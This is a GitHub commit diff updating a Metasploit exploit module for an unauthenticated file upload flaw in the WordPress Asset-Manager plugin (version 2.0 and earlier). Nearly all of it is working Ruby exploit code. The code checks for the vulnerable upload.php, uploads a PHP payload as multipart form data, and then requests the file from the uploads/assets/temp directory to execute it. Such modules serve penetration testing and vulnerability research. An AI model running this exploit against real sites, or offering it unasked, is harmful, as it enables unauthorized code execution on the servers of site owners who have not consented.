Skip to content

Commit a79eec8

Browse files
committed
Land rapid7#3584, @firefart's update for wp_asset_manager_upload_exec
2 parents 313fd6f + 9de8297 commit a79eec8

File tree

1 file changed

+37
-42
lines changed

1 file changed

+37
-42
lines changed

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

Lines changed: 37 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -8,81 +8,76 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

11-
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::PhpEXE
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
1313

1414
def initialize(info = {})
15-
super(update_info(info,
15+
super(update_info(
16+
info,
1617
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
17-
'Description' => %q{
18-
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
19-
plugin. By abusing the upload.php file, a malicious user can upload a file to a
18+
'Description' => %q(
19+
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
20+
plugin. By abusing the upload.php file, a malicious user can upload a file to a
2021
temp directory without authentication, which results in arbitrary code execution.
21-
},
22+
),
2223
'Author' =>
2324
[
24-
'Sammy FORGIT', # initial discovery
25-
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
25+
'Sammy FORGIT', # initial discovery
26+
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
2627
],
2728
'License' => MSF_LICENSE,
2829
'References' =>
2930
[
30-
[ 'OSVDB', '82653' ],
31-
[ 'BID', '53809' ],
32-
[ 'EDB', '18993' ],
33-
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
31+
['OSVDB', '82653'],
32+
['BID', '53809'],
33+
['EDB', '18993'],
34+
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html']
3435
],
35-
'Payload' =>
36-
{
37-
'BadChars' => "\x00",
38-
},
3936
'Platform' => 'php',
4037
'Arch' => ARCH_PHP,
41-
'Targets' =>
42-
[
43-
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
44-
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
45-
],
38+
'Targets' => [['asset-manager <= 2.0', {}]],
4639
'DefaultTarget' => 0,
4740
'DisclosureDate' => 'May 26 2012'))
41+
end
42+
43+
def check
44+
uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')
45+
46+
res = send_request_cgi(
47+
'method' => 'GET',
48+
'uri' => uri
49+
)
4850

49-
register_options(
50-
[
51-
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
52-
], self.class)
51+
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
52+
53+
Exploit::CheckCode::Detected
5354
end
5455

5556
def exploit
56-
uri = target_uri.path
57-
uri << '/' if uri[-1,1] != '/'
58-
peer = "#{rhost}:#{rport}"
5957
payload_name = "#{rand_text_alpha(5)}.php"
60-
php_payload = get_write_exec_payload(:unlink_self=>true)
6158

6259
data = Rex::MIME::Message.new
63-
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
60+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
6461
post_data = data.to_s
6562

6663
print_status("#{peer} - Uploading payload #{payload_name}")
67-
res = send_request_cgi({
64+
res = send_request_cgi(
6865
'method' => 'POST',
69-
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
66+
'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
7067
'ctype' => "multipart/form-data; boundary=#{data.bound}",
7168
'data' => post_data
72-
})
69+
)
7370

74-
if not res or res.code != 200 or res.body !~ /#{payload_name}/
71+
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
7572
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
7673
end
7774

75+
register_files_for_cleanup(payload_name)
76+
7877
print_status("#{peer} - Executing payload #{payload_name}")
79-
res = send_request_raw({
80-
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
78+
send_request_raw(
79+
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
8180
'method' => 'GET'
82-
})
83-
84-
if res and res.code != 200
85-
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
86-
end
81+
)
8782
end
8883
end

0 commit comments

Comments
 (0)